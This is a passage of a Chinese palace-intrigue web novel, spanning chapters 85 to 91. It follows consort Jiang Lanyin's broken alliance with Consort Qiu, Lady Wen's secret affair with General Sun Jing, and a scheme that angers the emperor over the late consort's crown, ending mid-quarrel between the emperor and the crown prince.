顾辰枭:“邱嫔是你姐姐用过的旧人,她若不好,樱儿岂肯叫她在身边伺候那么多年?皇后,是你误会她了。” “邱嫔是无辜的。” 是吗? 江澜因目光与邱嫔的目光,在半空中猛地对撞,又各自飞快转了开去。 顾辰枭:“皇后回宫去吧。至于邱嫔……” 他回头,看向江澜因,“因因,她伤了,你替朕照应她。” 第85章 背叛 第八十五章 背叛 脸颊一阵肿痛,牵着太阳穴一跳一跳地疼。 邱嫔慢慢睁开眼睛。 看见翊坤宫熟悉的天花吊顶。日光从一侧的窗格子里洒落进来,恍然若梦。 “月影,这翊坤宫当真豪奢,我好生喜欢。” “可惜,枭哥哥说此处只能暂住,他要把我移到咸福宫。还说那才是第一等最好的宫殿。” “枭哥哥他待我好,我是知道的……现在得叫他‘皇上’了……” “月影你好好儿服侍,等到了年纪,我放你出宫,给你许第一等的好人家!” “要一辈子伺候我?说什么傻话?哪有女孩儿一辈子不嫁人的?” “若不是你家人还……我早就放了你出去,放你自由自在……” 自由自在…… 深藏心底的记忆碎片,如水底的泡泡,接连不断地升起。 初入宫时,咸福宫尚未修葺完毕,顾辰枭让何贵妃住过一阵子翊坤宫。 那是何樱入宫以来,最愉快的一段日子。连带着贴身侍女邱月影也日日都高兴。 往后,她再也没有那样的好辰光了。 “邱姐姐醒了?” 耳边传来一道清亮的女声。 邱嫔肩膀微微一缩,转动眼睛,“……嫔妾见过贞贵嫔。” 说着,挣扎起身要行礼。 江澜因就这么静静地看着她行礼毕,才道:“姐姐与我,不过几日不见,就生分了。姐姐,你说,这是为何呢?” 邱嫔闭了闭眼,“嫔妾并未与贵嫔生分,是、是……贵嫔多心了。” “我多心?” 江澜因笑了一下,眼中冷意沉沉。 “姐姐聪慧,是从什么时候开始知道,太子还活着,如今就躲藏在东宫的?” 邱嫔身子猛地一颤,嘴唇白了,“你的话,我、我不明白……” “姐姐别装了。” 江澜因起身,一步步逼近邱嫔。 “你早就有所怀疑,只是一直未能确定。直到皇后受惊,找到东宫。你怕太子被皇后发现,才挺身而出,宁可让皇后疑到你身上,也要护着顾言泽。我说的,可对?” 撕破脸,邱嫔自知敷衍不过去。 她深吸一口气,紧绷的肩膀反而缓缓垂下。 “贞妹妹才是真的聪慧。破了你布的局,真是对不住。可太子殿下他……他还小,羽翼未丰,若被皇后知道他还活着,只怕对他不利……” “他还小?二十多岁的储君,你还要跟我说,他还是个孩子?” 自重生以来,江澜因没有哪一刻如现在这般,气得直接笑出了声。 “顾言泽生来就是太子,享尽这世间荣华,手里握着旁人想都想象不出来的庞大权利。他却连自保都做不到。这只能说明……” 江澜因嗓音泛着冷,“他无能!懦弱!他根本不值得追随!” 邱嫔是个心性坚韧、聪慧、又有情有义之人。 江澜因不愿就这么放弃。 “不许你这么说小姐的孩儿!”邱嫔眼眶泛红,失控地大叫起来,“你根本不知道何家是什么样的地方!不知道小姐是怎么熬过来的!她、她如今留在这世上的骨血,就只有太子殿下。我岂能不护着?” 可前世,你就是被他害死的。 江澜因:“你说过,与我结盟,是为了给贵妃报仇。这话,如今不作数了?” 她的声音,让邱嫔发热的脑袋瞬间冷静下来。 她眼中闪过一丝犹豫。 可,那是樱小姐如今在世唯一的血脉。樱小姐若还活着,也一定更盼着殿下平安,盼着殿下好! 邱嫔咬紧牙关,“太子殿下登基后,定会为他的生母报仇!” “呵……” 江澜因笑出了声,“为生母报仇?怎么报仇,手刃嫡母?就算顾言泽真有那样的胆魄,何家许吗?没了何家的支持,就凭他,可坐得稳屁股底下的龙椅?” “不会的,不会的!太子殿下他英明,能干……” 邱嫔说不下去了。 再英明、能干,都是以后的事儿了。 如今,那位太子殿下可是险些连自己的命都保不住。 面对江澜因,邱嫔收束思绪,“贞妹妹,旁的,我都可以依你。只求你,勿要针对太子……我知道你曾是太子的准妃,想必心中怨他。可太子他抛下你,定是逼不得已……” “够了。” “贞妹妹,我……” “姐姐今日这般行事,是一早就做好了选择。我不愿强求旁人,你走吧。” 江澜因言语中有未尽之意。 走了,就别再回来。 两人结盟,就此破裂。 邱嫔瞪大眼睛,嘴唇颤了颤。 江澜因身后珠帘轻响。 春枝进来,低声道:“小姐,贤妃娘娘差宫人送了您册封礼的礼服来。她嘱咐您,快些试过,若有什么不妥的,早些知会他们一声,好改。” “知道了。” 江澜因一眼都没再看邱嫔,“送邱娘娘出去。姐姐,我忙,就不奉陪了。” “是。” 被送出翊坤宫,邱嫔抬眼,自两扇敞开的朱漆大门内,瞧见换好礼服的江澜因。 日光映在她年轻、娇嫩的脸颊,眼中充满对未来的憧憬。 就像…… 初入宫的何樱。 邱嫔突地一愣,想起什么,“贞贵嫔……” 可太迟了,她已被请出了翊坤宫。 那两扇朱漆大门,在邱嫔面前,轰然关闭。 几日后,侯府。 腊梅挽着个篮儿,四窥无人,匆匆进到文氏房中。 拿出前几日她给的那发簪,双手捧着奉上,“侯夫人,首饰铺子的老板说,东西已经修好了,和从前,一般无二。” “知道了。你出去领赏吧。” 腊梅走后,屋内关起。 文氏拧开发簪,果见里面卷着一张薄如蝉翼,掌心大小的宣纸,上面细细密密的小字。 看完,文氏泪流满面。 一别十几年,他、他终于要来了!要来见她了! 这么多年,她想他想得好苦,好苦啊! 伏在榻上,哭着发泄完情绪,文氏擦干了脸,拿着信纸,急急忙忙奔去文师师屋子。 “师师,快看看。这是你爹的信,他心中说,很想你。见了你,定会疼惜你。还给你带了礼物。” 文师师这段日子憔悴了好些。 早不复从前比侯府千金还尊贵的势头。 “娘……”她声音嘶哑至极,“爹他会接师师走吗?这侯府里的日子,师师一日都过不下去了。” “娘的好孩子,你受苦了。” 文氏摸着文师师干枯的发梢,心疼得直掉眼泪。“放心,你爹他如今有能耐,他会帮你实现心愿的。” 文师师只当文氏是敷衍、安慰。 她飞快地扫完整封信,没瞧见落款。疑惑道:“娘,我爹他到底是谁?” 文氏张了张口,刚要应声。 门外传来靖威侯一声暴喝! 第86章 册封礼 第八十六章 册封礼 “文氏,你又和你那侄女鬼鬼祟祟躲到一处!商量些什么?” 下一刻,靖威侯推门就进。 见文氏、文师师两个都脸色苍白,眼底隐有泪痕。 靖威侯皱眉:“哭哭哭!就知道哭!这个家的福气,都叫你们哭没了!” 见他没把要命的话听进去,文氏长出了一口气,几乎要瘫倒。 她挡在文师师身前,辩解道:“师师是我侄女儿,你软禁她不放,我自然要护着自家人。我有什么错?” 靖威侯气笑了,“我软禁她?不是你侄女自己弄出那起子不要脸、不要命的事儿来,我愿意留她?” 皇上没有明旨。 朝中似也无人知道太子还活着。 靖威侯就知道此事如今是绝密,自然不敢放文师师出去乱说。依旧把她关在侯府里。 他上手拉扯文氏,“文氏,你是不是忘了些什么?” 文氏下意识闪躲。 不想,竟撞得文师师松了手。 手中巴掌大小的信笺飘飘荡荡,落在地上。 文氏心胆欲裂! 靖威侯眼角余光瞥见似有东西掉落,刚要回头。 “侯爷!” 文氏大喊一声,抓紧靖威侯衣袖,扑通一声跪在他身前。 靖威侯吓了一跳,忘了刚才看到那东西。“你、你这是干什么?又要闹什么?” 文师师也反应过来,借着搀扶文氏,将那信笺踏在脚底。 不让靖威侯看见。 文氏这才松了一口气。 靖威侯却道:“你失心疯了不成?明日是因因的册封礼,你我今晚就该入宫了!” 册封礼寅时便开始。 早起再入宫定是来不及,皇帝开恩,特允靖威侯夫妇提前一晚上入宫。 安排住在宫内别院,陪伴女儿。 是天大的恩隆。 见文氏竟然忘在了脑后,靖威侯愈怒。 “快点起来,换好衣裳,咱们该入宫观礼了。本侯告诉你,你老实安分些,进宫后别给因因惹不痛快,不然,我不饶你!” 说罢,狠狠瞪了文氏一眼,拂袖而去。 招待接他入宫的太监去了。 靖威侯走后,文氏连忙自地上捡起那信笺,心疼地紧紧贴在心口。 一想到江澜因要行册封礼,无限的风光。 可她心尖尖儿上的文师师,却要被软禁在侯府里,连个正经伺候的下人都没有。 文氏就心如刀绞。 “师师,你再忍一忍。等你爹回来,就全好了!娘向你保证!” “你和太子殿下,一定会姻缘美满的!” 小半日后,靖威侯夫妇被接入宫。 文师师只能透过半开的支摘窗,痴痴地望向皇宫的方向。 江澜因不过是个嫔! 贵嫔,也只是嫔! 等到她文师师进宫的那一天,她会是太子妃,是皇后! 沉浸在畅想之中,文师师没瞧见,花园角落里,江慎的目光从爹娘渐行渐远的轿子上收回来。 看向文师师。 同时,东宫。 顾言泽能感觉到,宫中看守着自己,不许自己出去的下人,越来越多了。 父皇竟这般防备自己! 为了……何皇后吗? 顾言泽温润的眸中,满是痛苦不堪。 红墙外,一阵喧嚣。 是……为了筹备明日江澜因的册封礼,如此大张旗鼓。 恨不得叫全天下人都知道,皇帝纳了自己儿子本该守寡的准妃! 此举会害了因因一辈子。 也毁了父皇自己和他顾言泽两代大盛国君的英明! 眼底闪过一丝阴鸷,久久不散。 顾言泽深吸一口气。 在心中无声祝祷…… “母妃,您若在天有灵,定要保佑孩儿,保佑父皇……” 是夜。 过了子时,翊坤宫灯火渐明。 下人都起身,筹备几个时辰后的册封礼。 江澜因被叫起来,闭着眼睛被扶到铜镜前上妆。她真的困,打了几个哈欠,眼角渗出泪来,模糊掉脸上脂粉。 春枝用蚕丝帕子,小心翼翼地点去。 她低声:“今日是小姐的大喜日子。奴婢听说,侯爷、侯夫人都已接入宫中,住在别馆中,等着观礼呢。” 春枝说着,腰杆儿都挺直了。 只觉今日,自己的小姐一定能扬眉吐气! 别馆距离翊坤宫很近。 靖威侯因兴奋,几乎一夜都未成眠,早早儿地把文氏也唤起来。 “今日是女儿的大日子,你给我体面些。旁的事,我不与你计较。” 他虽没多疼爱江澜因,可如今眼看着她出息了,也看重她。 她好,就是侯府好。 文氏昨夜也是辗转了一整夜睡不着。江澜因今日的荣华富贵,烧得她心口都疼。 都一样是她的孩子,凭什么江澜因什么都没有? 文师师却总要吃苦? 不公平!这世道真的不公平! 听靖威侯的话,文氏只淡淡道:“不过是妃妾的册封礼,按例也并不会如何盛大,咱们做爹娘的,就体面,也有限的。” “住口!这话叫旁人听了去,你有几个脑袋够砍?竟敢刻薄皇家!” 靖威侯跺脚,“就算江澜因是妃妾,也是皇上的妃妾。岂是你能随口浑说的?” 他长了脑子,威胁道:“你今日若丢丑,回去本侯便要鞭打你那侄女。该怎么做,你自己心里清楚。” 文氏眼中闪过一丝嫉恨,“关师师什么事?你欺负师师,好狠的心!侯爷,我劝你别太得意了。明日是江澜因的册封礼,今日也不见皇上来陪她。可见,她也没那么得宠,在皇上心中,不过一般……” 话未说完。 靖威侯打断:“你瞧,那是什么?是不是……圣驾?” 别馆卧房中有一扇窗,正对着翊坤宫院正门。 远远地能瞧见,一长串灯笼,长龙似的,逶迤而入。 除了皇帝,谁还有这么大的体面? 文氏纳闷道:“还未到寅时,皇上怎么就来了?这不合礼制……” “什么礼制不礼制?” 靖威侯面上有光,大声打断文氏。“咱们的因因,在皇上心中,是头一份儿的得宠!” “你还不明白?皇上这是特意来陪伴因因来了!” 只有宠爱到了骨子里,才能叫一个男人什么都不顾,什么都扔下,只想陪着自己心爱的女人,少看一眼都不行。 靖威侯也是男人,年轻时也曾为心爱的女子着迷痴狂。 他知道,皇帝现在,根本就是宠江澜因宠到了极致! “因因她,绝不会止步于嫔位。她一定还能往上升!” 翊坤宫。 雪色迎出来:“皇上万福金安。贞贵嫔在梳妆,不便出来,奴婢向您请罪……” 顾辰枭早料到的。 册封礼的流程他很熟悉,不会为难江澜因。 “不必惊动她。朕是怕她心中不安,来看看她。朕自己去。” 说着,不许下人跟着,一个人走进内室。 室内,灯火葳蕤。 映照在珠帘上。 透过细小珍珠温润的光泽,顾辰枭看见立地葡萄纹铜镜前,一道女子的倩影。 “因……” 她转过脸来。 顾辰枭猛地瞪大眼睛,“你……你好大的胆子!” 致尊敬的读者 尊敬的读者您好!本章原内容与正文无关或涉嫌违规,为了您良好的体验,已将本章原内容进行删除,请您继续下章内容,感谢您的支持~ (本章为免费内容,无需付费) 第88章 文师师的亲生父亲 第八十八章 文师师的亲生父亲 御书房内。 顾辰枭将杯中凉茶,一饮而尽。 压不下心中的躁郁邪火。 女子纤细柔媚的身影,一次次在眼前闪过。一会儿是何贵妃,一会儿又变做江澜因那张小脸。 湿漉漉的,带着泪痕的,满脸无辜的模样…… “哗啦” 茶盏被拂落地上,摔做两半。 秉笔太监弓着身子进来,跪下收拾。 见摔碎的竟是前头贵妃最常用的菊花双环耳琉璃盏,心中猛地一惊,手指愈发抖得厉害。 “谁许你进来?” 皇帝的声音,沉沉地压着怒意。 “回、回皇上的话,奴才不是擅进。是、是您早先说过,大将军来了,要通报您知道。奴才这才……” 好半晌。 皇帝压住了性子,“让他进来!” 顾辰枭封过的大将军,有两位。 一位是皇后的大哥,何锋尧。 另一位,就是镇南大将军,孙敬。一直为大盛镇守南疆。 “臣,镇南将军孙敬,见过吾皇。吾皇万岁万岁万万岁!” 孙敬行了大礼。 他这次,是奉诏秘密回京。 心中虽有猜测,面上却一点都不敢露出,“皇上天恩!太子殿下在臣眼前出事,臣真恨不得以身相随,奈何,南疆不能没人戍守……” “卿的苦楚,朕都知道。” 顾辰枭勉强压下胸中翻涌的情绪,“太子的事,你知道多少?可知道,他到底是……怎么死的?” “微臣无能……” 孙敬从袖中拿出一包东西,“在殿下倒下处,发现了这东西。兹事体大,臣亲自送来。” 粗麻布展开,里面是两枚箭矢。 其中一枚见了血,如今箭锋上,生了些锈迹。 顾辰枭拧眉,刚要伸手。 “皇上小心!这东西有毒,不可沾身。” 顾辰枭:“什么毒,验过吗?” “军医验过,是马钱子,见血封喉。倒是……并不罕见。” 皇帝面色愈沉。 是谁,对他视若珍宝的太子下这样的狠手,难道,就真的一丝线索都未留下来? 皇帝:“什么都查不出来?” 语气已转冷。 孙敬脊背紧紧绷着,“这毒常见,臣便换了个法子。叫人比对了这箭矢。” “哦?” “皇上请看,这箭簇比普通的箭矢更小巧些,平白多了两道凸起的棱,易于藏毒。且,它色泽偏白,像是与普通锻造手法不同。” 皇帝越听,越觉心中发沉。 在脸上带出来,“依你看,要害朕的太子那人,有私炼兵器的能耐?” 必是世家无疑。 大盛称得上世家,有这等手段的。 除了皇后的何家,还有太后所出的秦家,孙敬入赘、世代镇守边关的崔家,掌握天下抢粮漕运的钱家。 更有小世家无数。 勾结在一起,是庞然大物。就算是皇权,未必能撼动得了。 孙敬:“臣……不敢说。可这冶炼方法,臣从前,在何将军营中见过……” 何家! 孙敬:“可何家,是太子的外家。或是有人害了太子,又诬陷他的外家,也未可知。微臣不敢胡言乱语。” 后面这话,是给何家找补。 皇帝却已听不进去了。 何皇后那张惊恐的脸浮现在眼前。 此事,必与何家有关! 皇后……好狠的心! 可何锋锐手里掌着大军,其父更是在朝堂之上经营多年,树大根深。 一时间,竟拔除不得。 顾辰枭闭了闭眼睛,再睁开,眼中已无多余的情绪。 他叫太监进来,收好那两枚箭簇。 语气和缓下来,“正值年关,你既回来了,便去你岳父府上,好生聚几日。等过了年再走。” 体恤孙敬入赘崔家,允他回家拜见。 皇帝:“你妻子儿女都在盛京。你一个人孤身在南疆,也没个照应。你若想他们,这次回去,朕做主,叫崔氏跟你一道走。” “多谢皇上!只是……南疆日子苦,崔氏她娇养惯了,未必肯去。她若不肯,臣不强求她。” “你懂体贴人,知道感恩。崔氏跟了你,是她的福气。去吧,你自家的事,朕听你的便是。” 皇帝又叫人赏赐孙敬东西。 秘密通知崔府,把赏赐抬过去,给孙敬做脸。 走出御书房,孙敬背直了起来。 他生得高鼻深目,四十岁上的年纪,腰身还保持得和年轻人一般,劲瘦有力。 身上披着御赐的新袍子,面上倒还沉稳。 转出御书房,却瞧见了—— 文氏。 所幸四顾无人。 文氏揪着帕子,往前奔了两步,又猛地顿住。 压着嗓音,颤巍巍叫了一声,“……敬哥哥。” “嘘!” 孙敬三步并作两步奔过来,堵住文氏的嘴。“如儿,你、你怎会在此?我不是已经去信,叫你等等,你怎么就这么等不及?” 说着,拉文氏躲到一旁假山石洞子里。 男人一出口就是责备的话,听在文氏耳中,却只觉是关心她。 她泪水涟涟,冲开了脸上的脂粉。 “……敬哥哥,你不知、不知道我和女儿,在侯府过的都是什么样的日子!”一开口,就是抱怨、诉苦。 “你们的日子艰难,信里都写了。我已尽知道。我如今回来了,会好的,都会好的。” 孙敬大手请拍着文氏的背,宽慰她。 久违的触感,滚烫滚烫。 文氏泪眼莹莹,幽怨道:“你回来了,可你早晚还是要走,要回你的南疆去。” “大丈夫需建功立业。”孙敬安慰道:“你不知我心中,有多想带你走。那崔氏,和你相比,半根手指都不如。” “我有什么?我这辈子,被家里人强迫着嫁给靖威侯换彩礼,已是毁了。可女儿,咱们的女儿……”文氏伸手揪住孙靖袖口,“敬哥哥,你无论如何要见见师师,那孩子,心中太苦了。” 说到文师师,孙敬忍不住皱眉:“……不是把她送去太子身边了吗?怎会太子进宫,她一个人被留在外头?莫非,太子不喜她?” 这是他最担心的。 叫文师师陪着太子假死,是一步大棋。 走对了,他的女儿能做皇后! 堂堂正正地改回他的姓,光耀他孙家的门庭。 可若是走错了…… “不,不是的!”文氏忙替亲生女儿分辨,“都是江澜因勾了太子,太子误会师师,才会……总之,不是师师的错,也不怪太子。” 她殷切道:“敬哥哥,咱们的女儿已和太子一路走来,这么长时间。你一定要,帮她一把!” 孙敬眸色转深,顷刻间就做出了决断。 “如儿,那是咱们的女儿,我岂会抛下她不管?你说吧,要我怎样帮她,能把她重新送回太子身边?” 第89章 江澜因脱簪请罪? 第八十九章 江澜因脱簪请罪? “敬哥哥,我就知道,你不会不在意咱们的女儿!那可是咱们的亲生骨肉,她美丽,又聪慧,像我,也像你……” 文氏感动得泪流满面。 孙敬连忙帮她拭泪,温柔道:“都多大的人了,还说哭就哭?” 文氏拭泪,又笑了。娇羞不胜。 孙敬语气一转,“刚才,你说,是靖威侯的女儿害了咱们的女儿,不得与太子团圆?到底是怎么一回事?你细细地与我说个明白。” 他早知道太子定下的太子妃是江澜因。 换成他的女儿,是铤而走险。 可那之前,文氏来信明明说一切正常,两个孩子住在温泉庄子上,如胶似漆。 江澜因做什么了,又把太子的心重新给勾了回去? 若果真,那他便要重新考量…… 听见江澜因名字,文氏脸上闪过一丝不耐,她简略地说,“都是江澜因,我没教好她。她不知道太子还活着,竟不肯为太子守节,反而成了皇帝的嫔妃。这才害了师师和太子两地分离……” 一抬头,却对上孙敬深沉的双眸,“如儿,你自己听听,这话对吗?” 文氏一噎。 孙敬耐心道:“既然你那女儿已成了皇帝的妃嫔,她又如能和插手太子和师师的事?那是干政!” 他逼视文氏,问出心中所想,“太子是不是对她,不能忘情,胜过对咱们的女儿?” 文氏爱孙敬,对他是毫无保留的信任。 可作为母亲,这一刻,她本能地察觉到了什么。 下意识矢口否认,“岂会?太子和师师如胶似漆,是皇上发现了太子假死,带太子回宫保护,师师一时进不去而已。” 她拼命找补,“太子爱重师师,不忍叫她没名没分地跟着入宫。两个孩子这才分离了。” 孙敬沉吟。 这么说…… 也对。 太子若对江澜因有情,岂会连假死都不告诉她?又岂会只把文师师带在身旁? 太子心里,到底还是文师师更胜一筹。 他神色变换,温和了许多,“如儿,你说你和靖威侯的女儿,做了皇帝的嫔妃。她如何,很得宠吗?” 说到这个,文氏忍不住撇嘴,“今日本该是她的册封礼。可她不知怎的触怒了皇帝,只怕册封礼没有了,还要降罪。我生了她,真是个讨债星,好好儿一个侯府,叫她闹得不成样子……” 说着还要抱怨下去。 “如儿,你受苦了。” 孙敬深情地截断了文氏的话。 他信任文氏。 又记得刚才觐见皇帝时,明显感觉出御书房内压抑的氛围。 地上还有杯盏碎片。 知道皇帝是动了真怒,却不是针对自己。 没想到,竟是被靖威侯那个蠢女儿给惹怒了。 这样倒也……不错。 孙敬就如他自己得了绝大奖励一般,眼中都漾出笑意来。 看得文氏心中直发软,身子都贴过来,“敬哥哥……” 离得近了,孙敬清清楚楚看见文氏头上夹杂的白发和眼角细细的皱纹。 他滞了一下,双手按在她肩上,扶着她站稳,刚要说什么。 “文氏!” 一道声音,自假山石洞子外响起。 竟是靖威侯! 文氏立时候吓得手脚发软,黄鳝一样软倒在孙敬身上。 孙敬身子瞬间僵直。 有些埋怨地看了文氏一眼。她那夫君也来了,她怎么不早说? 听着声音越来越近,孙敬要推文氏出去,“你去敷衍他离开此处……” 文氏慌乱,不肯,“敬哥哥,如儿舍不得你……” 孙敬真恨不得咬了舌头,不得不打叠起耐心,“如儿,咱们的关系如今还暴露不得。等女儿做了太子妃,就都好了。现在,为了女儿,咱们得忍。” 提到心爱的文师师,文氏理智回笼,“……如儿都听敬哥哥的。” “那便好。我在这里看着你,你快去吧。” 文氏走出石洞子,一步三回头。 没几步便见到了靖威侯。文氏:“侯爷出来做什么?”不是害怕,要做缩头乌龟吗? 靖威侯刚要说什么,却盯住文氏的脸,“好端端的,你怎么哭了?” 文氏一惊。 刚才太慌乱,忘了匀脸!留有泪痕。 “我、我……” 靖威侯不耐地一挥手,“到底是内宅女子,何至于一点小事就吓得流泪?本侯打探过了,皇上没说册封礼不办了,没有口谕。咱们再等等,或许有转机。” 文氏深吸了一口气,这次掩好了面上神情。 “……是,侯爷疼爱江澜因,妾身自然都听侯爷的。” 翊坤宫中。 仿佛一下子从天堂跌落到地狱。 皇上虽无明旨,可如今早过了寅时,天已大亮。 没有旨意说册封礼开始。 所有下人都手足无措,心中只觉不好。 这贞贵嫔的册封礼,当真是一波三折。想起皇帝临走时那黑沉的脸色,只怕这册封礼,再办不成了。 江澜因一个人在内室。 皇帝一走,她就换下了那身礼服和沉重的珊瑚琉璃冠。 叫春枝收好。 门外一阵喧嚷。不过片刻后,雪色进来,眼眶有些发红。 “怎么了?”江澜因淡淡问道。 “没、没什么……” “说。” “是……是咱们的宫门锁了。外面有嬷嬷堵着,不许咱们宫里人进出。下人慌了,纷纷猜测,奴婢弹压他们,多说了几句……” 相当于江澜因被软禁了。 她挑唇,极轻地笑了一下。 进宫才几日?天天都禁足。 雪色掩去忧色,“小姐,那几个闹得最欢的下人,奴婢都记住了。往后发落她们……” “你做得很好。” 江澜因伸手拍了拍雪色手背,“别怕。” 简简单单的两个字,从江澜因口中说出来,顷刻间就去了雪色心中大半不安。 她信江澜因。 不过一个月前,江澜因还注定要为太子守一辈子望门寡,凄凉冷落,无人问津。 所有人都不看好她,爹娘都不疼爱她,甚至要害她。 她一步步走来,靠着自己,搏进了宫,在这紫禁城里有自己的一席之地。 小姐说没事,就一定没事。 小姐想要的,都一定能得到。 “去吧。”江澜因含笑道:“该如何就如何,也告诉春枝别慌,别乱猜。今日之事,我心中有数。” “是……” 雪色答应着刚要去。 珠帘外却有一道身影,不顾春枝的阻拦,径直闯了进来。 “贞妹妹,你信我……你穿戴错了衣裳,只怕皇上要降罪!” “为今之计,只有你先去脱簪请罪,说你不知情,是无辜的。开脱出来。不然……” “只怕有杀身之祸!” 第90章 贵妃故衣 第九十章 贵妃故衣 春枝依旧要拦着,“邱嫔娘娘,您是怎么进来的?皇上说了,不奉旨不得入翊坤宫……” 却根本拦不住邱嫔。 她是一个人来的,身上衣裙有些脏污。 江澜因也疑惑,“怎么进来的?” 雪色刚说了,翊坤宫如今闭锁了门。 皇帝的手段,江澜因也知道。既是要软禁,定然不会许人进来。尤其是他的妃嫔,不能掺和到一处。 就连同住的黄贵人,都一大清早儿移了出去。这才引起了翊坤宫下人这么多恐慌。 邱嫔面上闪过一丝尴尬,“……翻墙。” 江澜因:…… 春枝、雪色:…… 都没想到这邱嫔看起来柔柔弱弱,倒当真是……武德充沛。 江澜因:“都这时候了,姐姐来我这宫里做什么?不会只是为了说刚才那几句话,劝我去请罪吧?我没做错什么,为何要请罪?” 邱嫔有些急,“我知道妹妹如今未必信我。可……皇上的态度,妹妹想必也瞧见了。你只怕是中了旁人圈套。那琉璃珊瑚冠子,也是当年皇上为贵妃娘娘特地打造。这东西,原该封存,不许任何人穿用……” 她怕被人发现,所幸一股脑儿说出: “贞妹妹,你千万别错了念头。前些年这宫中有一个兰贵嫔,也是容貌与当年贵妃有三分相似,她也正是因此得宠。不过是宫宴上,穿着贵妃昔日同款的舞衣,跳了一曲惊鸿舞。便被皇上处死……说她居心不良,痴心妄想。” “皇上心中,樱小姐是千好万好。皇上定不许人亵渎的。就连你,只怕也不行……” 说着,她又怕江澜因伤心难过,又劝慰:“……也不是什么大事。是你被陷害,皇上又误会了。妹妹,你在皇上心中有分量,你好好儿解释请罪,皇上会信的。” 邱嫔几乎要哭出来,“贞妹妹,你信我这一次,好吗?” 她这一番话,说得掏心掏肺。 却见江澜因斜依在榻上,莹白的指尖一圈圈绕着自己的珍珠耳坠子玩儿。 好似自己的话,全没听进去。 邱嫔愈发急,“贞妹妹,此事再迟不得。越拖,只怕皇上闷火越大……” 天子一怒,必会见血! 会死人的! 江澜因却笑意更盛,“好姐姐,你这般聪慧,可知是谁这般陷害我?想要我的命?” 邱嫔一愣。 另一边,坤宁宫中。 何皇后一早听说翊坤宫的变动。 她笑个不止,满头珠玉都簌簌摇晃,碰撞在一起,发出淅淅沥沥的悦耳声响。 “好好好。这贞贵嫔,就是没有行册封礼的命!贤妃为了巴结皇帝,给她准备这么隆重的册封礼,如今不上不下地卡在那里。本宫要是她,宁可一头撞死,也不受这种屈辱!” 素月等宫人,自然趋奉,都跟着笑。 自江澜因入宫以来,何皇后就有些沉落的心情,今日一朝高高扬起。 素月凑过来:“娘娘,奴婢听着翊坤宫整个儿都封了起来。皇上一点颜面都没给她留,可见这次是气坏了。谁叫她弄巧成拙?” 何皇后面上笑容淡了点,“本宫寻思,倒未必是她。” “不是她,会是谁?她最利益熏心,手段百出地争宠。” 何皇后摇了摇头,“她是争宠,可本宫瞧着,这贞贵嫔,待皇上……”她顿了顿,不屑道:“倒有几分真心。” “娘娘的意思,是……” “自己心爱的男人心里眼里。若是你,你肯做别的女人的替身?” 素月一愣,恍然大悟,“若是奴婢,奴婢必是不肯的。” 她又笑,眼中闪过恶毒的光,“要是奴婢,这下可没脸活下去咯。” 笑过了,素月才升起些疑惑,“娘娘,若不是贞贵嫔自己弄巧成拙,会是谁害她?是不是贤妃?” “未必。”何皇后心情好,愿意多解释几句,“贤妃昔日跟贵妃关系一般。未必知道贵妃穿什么戴什么。” 想叫皇帝看一眼,就想起贵妃。 不是一件衣服,一套头面,简简单单就能做到的。 那贞贵嫔必是从头到脚,无一处不像贵妃装束。 才能把皇帝气成那样。 谁能做到这一点? 何皇后沉吟,有什么东西飞快地从脑海里闪过,她眼睛猛地瞪大: “是……邱嫔!” “邱嫔那贱婢,本宫昔日,倒是小瞧了她了!” 素月一愣,有些疑惑。 可看何皇后那笃定的样子,她还是将自己的疑问咽了下去。 “娘娘,咱们要不要趁此机会,把那贞贵嫔给……”素月以手为刃,在自己脖颈处来回比划。 想干脆除了江澜因。 想起先头用同样的法子除了的兰贵嫔,何皇后面上笑容愈盛,“未必用得着咱们亲自动手,且等着吧。” 御书房中。 大半日过去。 顾沉枭脑海中,不断地浮现翊坤宫里那一幕。 贵妃……江澜因…… 两人的脸交替出现,或哭或笑,搅扰得他心烦,盛怒不止。 皇帝怪江澜因。 他给她的宠爱那么多,几乎要越过这宫内所有人。可她呢,贪多贪足,竟想了这么个法子争宠! 想和樱儿比! 她不配…… 心中恼怒江澜因。可小姑娘那张沾了泪,湿漉漉的笑脸相迎,却总萦绕在眼前。 她好似在哭,在哀求。 刚才,她那样吃惊,那样委屈。自己这个皇帝,从来没有像今日一样,甚至没听她辩解一句话! 如今,盛大的册封典礼搁置。她心里还不知要怎样难受呢。 无论如何,此事得查! “小忠子,你和巽三一起,把今日之事差个水落石出!” “若果真是贞贵嫔动了心思……” 皇帝面色一点一点冷沉下去,“朕废了她!” 两人配合,动作很快。 不过半日便来御前回禀。 苏忠远战战兢兢,甚至不敢说话。只是看着暗羽卫的巽三。 巽三磕了个头,“皇上,属下查到……贵妃娘娘的遗物,如今都收在……东宫。出事之前,无人动过……” 顾辰枭眉峰一挑,“朕说过,东宫修葺,不准人进出。” “可……太子殿下自幼就长在东宫,经营多年。若是殿下想进出,想必……有他自己的法子。” 实际上,顾言泽这几日确实出去过。 他靴帮上的新泥…… 皇帝面色冷沉如寒铁,“随朕去一趟东宫!” 第91章 贵妃会以你为耻! 第九十一章 贵妃会以你为耻! 东宫。 似是早预料到皇帝会来,顾言泽一身浅黄色储君服制接驾。 “都出去!” 苏忠远和巽三躬身退出,带走了太子身边所有从属,从外关死了门。 顾辰枭面色冷极,逼视着太子。 顾言泽衣襟上有织金蟒纹,烛火映照,重重叠叠的金鳞之下,闪动着暗光。 细看,是那金蟒的眼睛。 顾辰枭:“是你做的。” 顾言泽跪下,脑袋却高高地昂着,“若父皇说的是那琉璃珊瑚冠,是,就是儿臣亲手取出,送去翊坤宫。” “为何?” 短短两个字下,皇帝的怒气翻涌如地底的岩浆。 看不见,却致命。 顾言泽肩膀颤了一下,立时又稳住。 他悲怆地呼喊了一声,“父皇,那是儿臣母妃的遗物。不该戴在她头上!” “你娘亲的遗物,不该戴在任何人头上!朕没有这样吩咐过!亵渎那遗物的人,分明是你!” “父皇!” 顾言泽眼眶发红,“儿臣这么做,都是为了父皇。若是母妃还活着,定也不愿意见父皇如此。” “你胡说。你母妃根本不是那样善嫉之人。朕不许你污了樱儿的身后名!” “不,母妃若在,也一定会这样劝谏父皇。” 顾言泽梗着脖子,一步不让。“儿臣的母妃若还活着,岂能眼睁睁地看父皇夺走因因,岂能眼看着一场册封礼,坏了父皇和儿臣,两世的英名?岂能容那史书工笔,一字一句写下父皇父夺子妻,岂能……” “住口!” 皇帝怒吼,“太子,你忤逆,不孝!你在混说些什么?!” 事到如今,顾言泽知道,退一步只怕会万劫不复。 